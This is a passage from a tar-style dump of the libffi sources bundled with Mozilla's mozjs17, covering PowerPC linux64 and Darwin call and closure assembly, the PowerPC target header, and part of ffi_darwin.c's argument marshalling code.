-32-(3*8)(%r28) ld %r9, -32-(2*8)(%r28) ld %r10, -32-(1*8)(%r28) 1: /* Load all the FP registers. */ bf- 6, 2f lfd %f1, -32-(21*8)(%r28) lfd %f2, -32-(20*8)(%r28) lfd %f3, -32-(19*8)(%r28) lfd %f4, -32-(18*8)(%r28) lfd %f5, -32-(17*8)(%r28) lfd %f6, -32-(16*8)(%r28) lfd %f7, -32-(15*8)(%r28) lfd %f8, -32-(14*8)(%r28) lfd %f9, -32-(13*8)(%r28) lfd %f10, -32-(12*8)(%r28) lfd %f11, -32-(11*8)(%r28) lfd %f12, -32-(10*8)(%r28) lfd %f13, -32-(9*8)(%r28) 2: /* Make the call. */ bctrl /* This must follow the call immediately, the unwinder uses this to find out if r2 has been saved or not. */ ld %r2, 40(%r1) /* Now, deal with the return value. */ mtcrf 0x01, %r31 bt- 30, .Ldone_return_value bt- 29, .Lfp_return_value std %r3, 0(%r30) /* Fall through... */ .Ldone_return_value: /* Restore the registers we used and return. */ mr %r1, %r28 ld %r0, 16(%r28) ld %r28, -32(%r1) mtlr %r0 ld %r29, -24(%r1) ld %r30, -16(%r1) ld %r31, -8(%r1) blr .Lfp_return_value: bf 28, .Lfloat_return_value stfd %f1, 0(%r30) mtcrf 0x02, %r31 /* cr6 */ bf 27, .Ldone_return_value stfd %f2, 8(%r30) b .Ldone_return_value .Lfloat_return_value: stfs %f1, 0(%r30) b .Ldone_return_value .LFE1: .long 0 .byte 0,12,0,1,128,4,0,0 .size .ffi_call_LINUX64,.-.ffi_call_LINUX64 .section .eh_frame,EH_FRAME_FLAGS,@progbits .Lframe1: .4byte .LECIE1-.LSCIE1 # Length of Common Information Entry .LSCIE1: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version .ascii "zR\0" # CIE Augmentation .uleb128 0x1 # CIE Code Alignment Factor .sleb128 -8 # CIE Data Alignment Factor .byte 0x41 # CIE RA Column .uleb128 0x1 # Augmentation size .byte 0x14 # FDE Encoding (pcrel udata8) .byte 0xc # DW_CFA_def_cfa .uleb128 0x1 .uleb128 0x0 .align 3 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 # FDE Length .LASFDE1: .4byte .LASFDE1-.Lframe1 # FDE CIE offset .8byte .LFB1-. # FDE initial location .8byte .LFE1-.LFB1 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x2 # DW_CFA_advance_loc1 .byte .LCFI0-.LFB1 .byte 0xd # DW_CFA_def_cfa_register .uleb128 0x1c .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x41 .sleb128 -2 .byte 0x9f # DW_CFA_offset, column 0x1f .uleb128 0x1 .byte 0x9e # DW_CFA_offset, column 0x1e .uleb128 0x2 .byte 0x9d # DW_CFA_offset, column 0x1d .uleb128 0x3 .byte 0x9c # DW_CFA_offset, column 0x1c .uleb128 0x4 .align 3 .LEFDE1: #endif #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/linux64_closure.S0000664000175000017500000001340312106270662024205 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.h - Copyright (c) 2003 Jakub Jelinek Copyright (c) 2008 Red Hat, Inc. PowerPC64 Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include .file "linux64_closure.S" #ifdef __powerpc64__ FFI_HIDDEN (ffi_closure_LINUX64) FFI_HIDDEN (.ffi_closure_LINUX64) .globl ffi_closure_LINUX64, .ffi_closure_LINUX64 .section ".opd","aw" .align 3 ffi_closure_LINUX64: .quad .ffi_closure_LINUX64,.TOC.@tocbase,0 .size ffi_closure_LINUX64,24 .type .ffi_closure_LINUX64,@function .text .ffi_closure_LINUX64: .LFB1: # save general regs into parm save area std %r3, 48(%r1) std %r4, 56(%r1) std %r5, 64(%r1) std %r6, 72(%r1) mflr %r0 std %r7, 80(%r1) std %r8, 88(%r1) std %r9, 96(%r1) std %r10, 104(%r1) std %r0, 16(%r1) # mandatory 48 bytes special reg save area + 64 bytes parm save area # + 16 bytes retval area + 13*8 bytes fpr save area + round to 16 stdu %r1, -240(%r1) .LCFI0: # next save fpr 1 to fpr 13 stfd %f1, 128+(0*8)(%r1) stfd %f2, 128+(1*8)(%r1) stfd %f3, 128+(2*8)(%r1) stfd %f4, 128+(3*8)(%r1) stfd %f5, 128+(4*8)(%r1) stfd %f6, 128+(5*8)(%r1) stfd %f7, 128+(6*8)(%r1) stfd %f8, 128+(7*8)(%r1) stfd %f9, 128+(8*8)(%r1) stfd %f10, 128+(9*8)(%r1) stfd %f11, 128+(10*8)(%r1) stfd %f12, 128+(11*8)(%r1) stfd %f13, 128+(12*8)(%r1) # set up registers for the routine that actually does the work # get the context pointer from the trampoline mr %r3, %r11 # now load up the pointer to the result storage addi %r4, %r1, 112 # now load up the pointer to the parameter save area # in the previous frame addi %r5, %r1, 240 + 48 # now load up the pointer to the saved fpr registers */ addi %r6, %r1, 128 # make the call bl .ffi_closure_helper_LINUX64 .Lret: # now r3 contains the return type # so use it to look up in a table # so we know how to deal with each type # look up the proper starting point in table # by using return type as offset mflr %r4 # move address of .Lret to r4 sldi %r3, %r3, 4 # now multiply return type by 16 addi %r4, %r4, .Lret_type0 - .Lret ld %r0, 240+16(%r1) add %r3, %r3, %r4 # add contents of table to table address mtctr %r3 bctr # jump to it # Each of the ret_typeX code fragments has to be exactly 16 bytes long # (4 instructions). For cache effectiveness we align to a 16 byte boundary # first. .align 4 .Lret_type0: # case FFI_TYPE_VOID mtlr %r0 addi %r1, %r1, 240 blr nop # case FFI_TYPE_INT lwa %r3, 112+4(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_FLOAT lfs %f1, 112+0(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_DOUBLE lfd %f1, 112+0(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_LONGDOUBLE lfd %f1, 112+0(%r1) mtlr %r0 lfd %f2, 112+8(%r1) b .Lfinish # case FFI_TYPE_UINT8 lbz %r3, 112+7(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_SINT8 lbz %r3, 112+7(%r1) extsb %r3,%r3 mtlr %r0 b .Lfinish # case FFI_TYPE_UINT16 lhz %r3, 112+6(%r1) mtlr %r0 .Lfinish: addi %r1, %r1, 240 blr # case FFI_TYPE_SINT16 lha %r3, 112+6(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_UINT32 lwz %r3, 112+4(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_SINT32 lwa %r3, 112+4(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_UINT64 ld %r3, 112+0(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_SINT64 ld %r3, 112+0(%r1) mtlr %r0 addi %r1, %r1, 240 blr # case FFI_TYPE_STRUCT mtlr %r0 addi %r1, %r1, 240 blr nop # case FFI_TYPE_POINTER ld %r3, 112+0(%r1) mtlr %r0 addi %r1, %r1, 240 blr # esac .LFE1: .long 0 .byte 0,12,0,1,128,0,0,0 .size .ffi_closure_LINUX64,.-.ffi_closure_LINUX64 .section .eh_frame,EH_FRAME_FLAGS,@progbits .Lframe1: .4byte .LECIE1-.LSCIE1 # Length of Common Information Entry .LSCIE1: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version .ascii "zR\0" # CIE Augmentation .uleb128 0x1 # CIE Code Alignment Factor .sleb128 -8 # CIE Data Alignment Factor .byte 0x41 # CIE RA Column .uleb128 0x1 # Augmentation size .byte 0x14 # FDE Encoding (pcrel udata8) .byte 0xc # DW_CFA_def_cfa .uleb128 0x1 .uleb128 0x0 .align 3 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 # FDE Length .LASFDE1: .4byte .LASFDE1-.Lframe1 # FDE CIE offset .8byte .LFB1-. # FDE initial location .8byte .LFE1-.LFB1 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x2 # DW_CFA_advance_loc1 .byte .LCFI0-.LFB1 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 240 .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x41 .sleb128 -2 .align 3 .LEFDE1: #endif #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/darwin_closure.S0000664000175000017500000001611312106270662024161 0ustar sstanglsstangl/* ----------------------------------------------------------------------- darwin_closure.S - Copyright (c) 2002, 2003, 2004, Free Software Foundation, Inc. based on ppc_closure.S PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #define L(x) x #if defined(__ppc64__) #define MODE_CHOICE(x, y) y #else #define MODE_CHOICE(x, y) x #endif #define lgu MODE_CHOICE(lwzu, ldu) #define g_long MODE_CHOICE(long, quad) /* usage is ".g_long" */ #define LOG2_GPR_BYTES MODE_CHOICE(2,3) /* log2(GPR_BYTES) */ .file "darwin_closure.S" .text .align LOG2_GPR_BYTES .globl _ffi_closure_ASM .text .align LOG2_GPR_BYTES _ffi_closure_ASM: LFB1: mflr r0 /* extract return address */ stw r0,8(r1) /* save the return address */ LCFI0: /* 24 Bytes (Linkage Area) 32 Bytes (outgoing parameter area, always reserved) 104 Bytes (13*8 from FPR) 16 Bytes (result) 176 Bytes */ stwu r1,-176(r1) /* skip over caller save area keep stack aligned to 16. */ LCFI1: /* We want to build up an area for the parameters passed in registers. (both floating point and integer) */ /* We store gpr 3 to gpr 10 (aligned to 4) in the parents outgoing area. */ stw r3,200(r1) stw r4,204(r1) stw r5,208(r1) stw r6,212(r1) stw r7,216(r1) stw r8,220(r1) stw r9,224(r1) stw r10,228(r1) /* We save fpr 1 to fpr 13. (aligned to 8) */ stfd f1,56(r1) stfd f2,64(r1) stfd f3,72(r1) stfd f4,80(r1) stfd f5,88(r1) stfd f6,96(r1) stfd f7,104(r1) stfd f8,112(r1) stfd f9,120(r1) stfd f10,128(r1) stfd f11,136(r1) stfd f12,144(r1) stfd f13,152(r1) /* Set up registers for the routine that actually does the work get the context pointer from the trampoline. */ mr r3,r11 /* Now load up the pointer to the result storage. */ addi r4,r1,160 /* Now load up the pointer to the saved gpr registers. */ addi r5,r1,200 /* Now load up the pointer to the saved fpr registers. */ addi r6,r1,56 /* Make the call. */ bl Lffi_closure_helper_DARWIN$stub /* Now r3 contains the return type so use it to look up in a table so we know how to deal with each type. */ /* Look up the proper starting point in table by using return type as offset. */ addi r5,r1,160 /* Get pointer to results area. */ bl Lget_ret_type0_addr /* Get pointer to Lret_type0 into LR. */ mflr r4 /* Move to r4. */ slwi r3,r3,4 /* Now multiply return type by 16. */ add r3,r3,r4 /* Add contents of table to table address. */ mtctr r3 bctr /* Jump to it. */ LFE1: /* Each of the ret_typeX code fragments has to be exactly 16 bytes long (4 instructions). For cache effectiveness we align to a 16 byte boundary first. */ .align 4 nop nop nop Lget_ret_type0_addr: blrl /* case FFI_TYPE_VOID */ Lret_type0: b Lfinish nop nop nop /* case FFI_TYPE_INT */ Lret_type1: lwz r3,0(r5) b Lfinish nop nop /* case FFI_TYPE_FLOAT */ Lret_type2: lfs f1,0(r5) b Lfinish nop nop /* case FFI_TYPE_DOUBLE */ Lret_type3: lfd f1,0(r5) b Lfinish nop nop /* case FFI_TYPE_LONGDOUBLE */ Lret_type4: lfd f1,0(r5) lfd f2,8(r5) b Lfinish nop /* case FFI_TYPE_UINT8 */ Lret_type5: lbz r3,3(r5) b Lfinish nop nop /* case FFI_TYPE_SINT8 */ Lret_type6: lbz r3,3(r5) extsb r3,r3 b Lfinish nop /* case FFI_TYPE_UINT16 */ Lret_type7: lhz r3,2(r5) b Lfinish nop nop /* case FFI_TYPE_SINT16 */ Lret_type8: lha r3,2(r5) b Lfinish nop nop /* case FFI_TYPE_UINT32 */ Lret_type9: lwz r3,0(r5) b Lfinish nop nop /* case FFI_TYPE_SINT32 */ Lret_type10: lwz r3,0(r5) b Lfinish nop nop /* case FFI_TYPE_UINT64 */ Lret_type11: lwz r3,0(r5) lwz r4,4(r5) b Lfinish nop /* case FFI_TYPE_SINT64 */ Lret_type12: lwz r3,0(r5) lwz r4,4(r5) b Lfinish nop /* case FFI_TYPE_STRUCT */ Lret_type13: b Lfinish nop nop nop /* case FFI_TYPE_POINTER */ Lret_type14: lwz r3,0(r5) b Lfinish nop nop /* case done */ Lfinish: addi r1,r1,176 /* Restore stack pointer. */ lwz r0,8(r1) /* Get return address. */ mtlr r0 /* Reset link register. */ blr /* END(ffi_closure_ASM) */ .data .section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support EH_frame1: .set L$set$0,LECIE1-LSCIE1 .long L$set$0 ; Length of Common Information Entry LSCIE1: .long 0x0 ; CIE Identifier Tag .byte 0x1 ; CIE Version .ascii "zR\0" ; CIE Augmentation .byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor .byte 0x7c ; sleb128 -4; CIE Data Alignment Factor .byte 0x41 ; CIE RA Column .byte 0x1 ; uleb128 0x1; Augmentation size .byte 0x90 ; FDE Encoding (indirect pcrel) .byte 0xc ; DW_CFA_def_cfa .byte 0x1 ; uleb128 0x1 .byte 0x0 ; uleb128 0x0 .align LOG2_GPR_BYTES LECIE1: .globl _ffi_closure_ASM.eh _ffi_closure_ASM.eh: LSFDE1: .set L$set$1,LEFDE1-LASFDE1 .long L$set$1 ; FDE Length LASFDE1: .long LASFDE1-EH_frame1 ; FDE CIE offset .g_long LLFB1$non_lazy_ptr-. ; FDE initial location .set L$set$3,LFE1-LFB1 .g_long L$set$3 ; FDE address range .byte 0x0 ; uleb128 0x0; Augmentation size .byte 0x4 ; DW_CFA_advance_loc4 .set L$set$3,LCFI1-LCFI0 .long L$set$3 .byte 0xe ; DW_CFA_def_cfa_offset .byte 176,1 ; uleb128 176 .byte 0x4 ; DW_CFA_advance_loc4 .set L$set$4,LCFI0-LFB1 .long L$set$4 .byte 0x11 ; DW_CFA_offset_extended_sf .byte 0x41 ; uleb128 0x41 .byte 0x7e ; sleb128 -2 .align LOG2_GPR_BYTES LEFDE1: .data .align LOG2_GPR_BYTES LDFCM0: .section __TEXT,__picsymbolstub1,symbol_stubs,pure_instructions,32 .align LOG2_GPR_BYTES Lffi_closure_helper_DARWIN$stub: #if 1 .indirect_symbol _ffi_closure_helper_DARWIN mflr r0 bcl 20,31,LO$ffi_closure_helper_DARWIN LO$ffi_closure_helper_DARWIN: mflr r11 addis r11,r11,ha16(L_ffi_closure_helper_DARWIN$lazy_ptr - LO$ffi_closure_helper_DARWIN) mtlr r0 lgu r12,lo16(L_ffi_closure_helper_DARWIN$lazy_ptr - LO$ffi_closure_helper_DARWIN)(r11) mtctr r12 bctr .lazy_symbol_pointer L_ffi_closure_helper_DARWIN$lazy_ptr: .indirect_symbol _ffi_closure_helper_DARWIN .g_long dyld_stub_binding_helper #endif .data .align LOG2_GPR_BYTES LLFB1$non_lazy_ptr: .g_long LFB1 mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/ffitarget.h0000664000175000017500000000727412106270662023151 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Copyright (C) 2007, 2008 Free Software Foundation, Inc Target configuration macros for PowerPC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- System specific configurations ----------------------------------- */ #if defined (POWERPC) && defined (__powerpc64__) /* linux64 */ #ifndef POWERPC64 #define POWERPC64 #endif #elif defined (POWERPC_DARWIN) && defined (__ppc64__) /* Darwin */ #ifndef POWERPC64 #define POWERPC64 #endif #elif defined (POWERPC_AIX) && defined (__64BIT__) /* AIX64 */ #ifndef POWERPC64 #define POWERPC64 #endif #endif #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, #ifdef POWERPC FFI_SYSV, FFI_GCC_SYSV, FFI_LINUX64, FFI_LINUX, FFI_LINUX_SOFT_FLOAT, # ifdef POWERPC64 FFI_DEFAULT_ABI = FFI_LINUX64, # else # if (!defined(__NO_FPRS__) && (__LDBL_MANT_DIG__ == 106)) FFI_DEFAULT_ABI = FFI_LINUX, # else # ifdef __NO_FPRS__ FFI_DEFAULT_ABI = FFI_LINUX_SOFT_FLOAT, # else FFI_DEFAULT_ABI = FFI_GCC_SYSV, # endif # endif # endif #endif #ifdef POWERPC_AIX FFI_AIX, FFI_DARWIN, FFI_DEFAULT_ABI = FFI_AIX, #endif #ifdef POWERPC_DARWIN FFI_AIX, FFI_DARWIN, FFI_DEFAULT_ABI = FFI_DARWIN, #endif #ifdef POWERPC_FREEBSD FFI_SYSV, FFI_GCC_SYSV, FFI_LINUX64, FFI_LINUX, FFI_LINUX_SOFT_FLOAT, FFI_DEFAULT_ABI = FFI_SYSV, #endif FFI_LAST_ABI } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_NATIVE_RAW_API 0 /* For additional types like the below, take care about the order in ppc_closures.S. They must follow after the FFI_TYPE_LAST. */ /* Needed for soft-float long-double-128 support. */ #define FFI_TYPE_UINT128 (FFI_TYPE_LAST + 1) /* Needed for FFI_SYSV small structure returns. We use two flag bits, (FLAG_SYSV_SMST_R3, FLAG_SYSV_SMST_R4) which are defined in ffi.c, to determine the exact return type and its size. */ #define FFI_SYSV_TYPE_SMALL_STRUCT (FFI_TYPE_LAST + 2) #if defined(POWERPC64) || defined(POWERPC_AIX) #define FFI_TRAMPOLINE_SIZE 24 #else /* POWERPC || POWERPC_AIX */ #define FFI_TRAMPOLINE_SIZE 40 #endif #ifndef LIBFFI_ASM #if defined(POWERPC_DARWIN) || defined(POWERPC_AIX) struct ffi_aix_trampoline_struct { void * code_pointer; /* Pointer to ffi_closure_ASM */ void * toc; /* TOC */ void * static_chain; /* Pointer to closure */ }; #endif #endif #endif mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/ffi_darwin.c0000664000175000017500000006274112106270662023301 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi_darwin.c Copyright (C) 1998 Geoffrey Keating Copyright (C) 2001 John Hornkvist Copyright (C) 2002, 2006, 2007, 2009 Free Software Foundation, Inc. FFI support for Darwin and AIX. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include extern void ffi_closure_ASM (void); enum { /* The assembly depends on these exact flags. */ FLAG_RETURNS_NOTHING = 1 << (31-30), /* These go in cr7 */ FLAG_RETURNS_FP = 1 << (31-29), FLAG_RETURNS_64BITS = 1 << (31-28), FLAG_RETURNS_128BITS = 1 << (31-31), FLAG_ARG_NEEDS_COPY = 1 << (31- 7), FLAG_FP_ARGUMENTS = 1 << (31- 6), /* cr1.eq; specified by ABI */ FLAG_4_GPR_ARGUMENTS = 1 << (31- 5), FLAG_RETVAL_REFERENCE = 1 << (31- 4) }; /* About the DARWIN ABI. */ enum { NUM_GPR_ARG_REGISTERS = 8, NUM_FPR_ARG_REGISTERS = 13 }; enum { ASM_NEEDS_REGISTERS = 4 }; /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments. The stack layout we want looks like this: | Return address from ffi_call_DARWIN | higher addresses |--------------------------------------------| | Previous backchain pointer 4 | stack pointer here |--------------------------------------------|<+ <<< on entry to | Saved r28-r31 4*4 | | ffi_call_DARWIN |--------------------------------------------| | | Parameters (at least 8*4=32) | | |--------------------------------------------| | | Space for GPR2 4 | | |--------------------------------------------| | stack | | Reserved 2*4 | | grows | |--------------------------------------------| | down V | Space for callee's LR 4 | | |--------------------------------------------| | lower addresses | Saved CR 4 | | |--------------------------------------------| | stack pointer here | Current backchain pointer 4 |-/ during |--------------------------------------------| <<< ffi_call_DARWIN */ void ffi_prep_args (extended_cif *ecif, unsigned long *const stack) { const unsigned bytes = ecif->cif->bytes; const unsigned flags = ecif->cif->flags; const unsigned nargs = ecif->cif->nargs; const ffi_abi abi = ecif->cif->abi; /* 'stacktop' points at the previous backchain pointer. */ unsigned long *const stacktop = stack + (bytes / sizeof(unsigned long)); /* 'fpr_base' points at the space for fpr1, and grows upwards as we use FPR registers. */ double *fpr_base = (double *) (stacktop - ASM_NEEDS_REGISTERS) - NUM_FPR_ARG_REGISTERS; int fparg_count = 0; /* 'next_arg' grows up as we put parameters in it. */ unsigned long *next_arg = stack + 6; /* 6 reserved positions. */ int i; double double_tmp; void **p_argv = ecif->avalue; unsigned long gprvalue; ffi_type** ptr = ecif->cif->arg_types; char *dest_cpy; unsigned size_al = 0; /* Check that everything starts aligned properly. */ FFI_ASSERT(((unsigned) (char *) stack & 0xF) == 0); FFI_ASSERT(((unsigned) (char *) stacktop & 0xF) == 0); FFI_ASSERT((bytes & 0xF) == 0); /* Deal with return values that are actually pass-by-reference. Rule: Return values are referenced by r3, so r4 is the first parameter. */ if (flags & FLAG_RETVAL_REFERENCE) *next_arg++ = (unsigned long) (char *) ecif->rvalue; /* Now for the arguments. */ for (i = nargs; i > 0; i--, ptr++, p_argv++) { switch ((*ptr)->type) { /* If a floating-point parameter appears before all of the general- purpose registers are filled, the corresponding GPRs that match the size of the floating-point parameter are skipped. */ case FFI_TYPE_FLOAT: double_tmp = *(float *) *p_argv; if (fparg_count >= NUM_FPR_ARG_REGISTERS) *(double *)next_arg = double_tmp; else *fpr_base++ = double_tmp; next_arg++; fparg_count++; FFI_ASSERT(flags & FLAG_FP_ARGUMENTS); break; case FFI_TYPE_DOUBLE: double_tmp = *(double *) *p_argv; if (fparg_count >= NUM_FPR_ARG_REGISTERS) *(double *)next_arg = double_tmp; else *fpr_base++ = double_tmp; #ifdef POWERPC64 next_arg++; #else next_arg += 2; #endif fparg_count++; FFI_ASSERT(flags & FLAG_FP_ARGUMENTS); break; #if FFI_TYPE_LONGDOUBLE != FFI_TYPE_DOUBLE case FFI_TYPE_LONGDOUBLE: #ifdef POWERPC64 if (fparg_count < NUM_FPR_ARG_REGISTERS) *(long double *) fpr_base++ = *(long double *) *p_argv; else *(long double *) next_arg = *(long double *) *p_argv; next_arg += 2; fparg_count += 2; #else double_tmp = ((double *) *p_argv)[0]; if (fparg_count < NUM_FPR_ARG_REGISTERS) *fpr_base++ = double_tmp; else *(double *) next_arg = double_tmp; next_arg += 2; fparg_count++; double_tmp = ((double *) *p_argv)[1]; if (fparg_count < NUM_FPR_ARG_REGISTERS) *fpr_base++ = double_tmp; else *(double *) next_arg = double_tmp; next_arg += 2; fparg_count++; #endif FFI_ASSERT(flags & FLAG_FP_ARGUMENTS); break; #endif case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: #ifdef POWERPC64 gprvalue = *(long long *) *p_argv; goto putgpr; #else *(long long *) next_arg = *(long long *) *p_argv; next_arg += 2; #endif break; case FFI_TYPE_POINTER: gprvalue = *(unsigned long *) *p_argv; goto putgpr; case FFI_TYPE_UINT8: gprvalue = *(unsigned char *) *p_argv; goto putgpr; case FFI_TYPE_SINT8: gprvalue = *(signed char *) *p_argv; goto putgpr; case FFI_TYPE_UINT16: gprvalue = *(unsigned short *) *p_argv; goto putgpr; case FFI_TYPE_SINT16: gprvalue = *(signed short *) *p_argv; goto putgpr; case FFI_TYPE_STRUCT: #ifdef POWERPC64 dest_cpy = (char *) next_arg; size_al = (*ptr)->size; if ((*ptr)->elements[0]->type == 3) size_al = ALIGN((*ptr)->size, 8); if (size_al < 3 && abi == FFI_DARWIN) dest_cpy += 4 - size_al; memcpy ((char *) dest_cpy, (char *) *p_argv, size_al); next_arg += (size_al + 7) / 8; #else dest_cpy = (char *) next_arg; /* Structures that match the basic modes (QI 1 byte, HI 2 bytes, SI 4 bytes) are aligned as if they were those modes. Structures with 3 byte in size are padded upwards. */ size_al = (*ptr)->size; /* If the first member of the struct is a double, then align the struct to double-word. */ if ((*ptr)->elements[0]->type == FFI_TYPE_DOUBLE) size_al = ALIGN((*ptr)->size, 8); if (size_al < 3 && abi == FFI_DARWIN) dest_cpy += 4 - size_al; memcpy((char *) dest_cpy, (char *) *p_argv, size_al); next_arg += (size_al + 3) / 4; #endif break; case FFI_TYPE_INT: case FFI_TYPE_SINT32: gprvalue = *(signed int *) *p_argv; goto putgpr; case FFI_TYPE_UINT32: gprvalue = *(unsigned int *) *p_argv; putgpr: *next_arg++ = gprvalue; break; default: break; } } /* Check that we didn't overrun the stack... */ //FFI_ASSERT(gpr_base <= stacktop - ASM_NEEDS_REGISTERS); //FFI_ASSERT((unsigned *)fpr_base // <= stacktop - ASM_NEEDS_REGISTERS - NUM_GPR_ARG_REGISTERS); //FFI_ASSERT(flags & FLAG_4_GPR_ARGUMENTS || intarg_count <= 4); } /* Adjust the size of S to be correct for Darwin. On Darwin, the first field of a structure has natural alignment. */ static void darwin_adjust_aggregate_sizes (ffi_type *s) { int i; if (s->type != FFI_TYPE_STRUCT) return; s->size = 0; for (i = 0; s->elements[i] != NULL; i++) { ffi_type *p; int align; p = s->elements[i]; darwin_adjust_aggregate_sizes (p); if (i == 0 && (p->type == FFI_TYPE_UINT64 || p->type == FFI_TYPE_SINT64 || p->type == FFI_TYPE_DOUBLE || p->alignment == 8)) align = 8; else if (p->alignment == 16 || p->alignment < 4) align = p->alignment; else align = 4; s->size = ALIGN(s->size, align) + p->size; } s->size = ALIGN(s->size, s->alignment); if (s->elements[0]->type == FFI_TYPE_UINT64 || s->elements[0]->type == FFI_TYPE_SINT64 || s->elements[0]->type == FFI_TYPE_DOUBLE || s->elements[0]->alignment == 8) s->alignment = s->alignment > 8 ? s->alignment : 8; /* Do not add additional tail padding. */ } /* Adjust the size of S to be correct for AIX. Word-align double unless it is the first member of a structure. */ static void aix_adjust_aggregate_sizes (ffi_type *s) { int i; if (s->type != FFI_TYPE_STRUCT) return; s->size = 0; for (i = 0; s->elements[i] != NULL; i++) { ffi_type *p; int align; p = s->elements[i]; aix_adjust_aggregate_sizes (p); align = p->alignment; if (i != 0 && p->type == FFI_TYPE_DOUBLE) 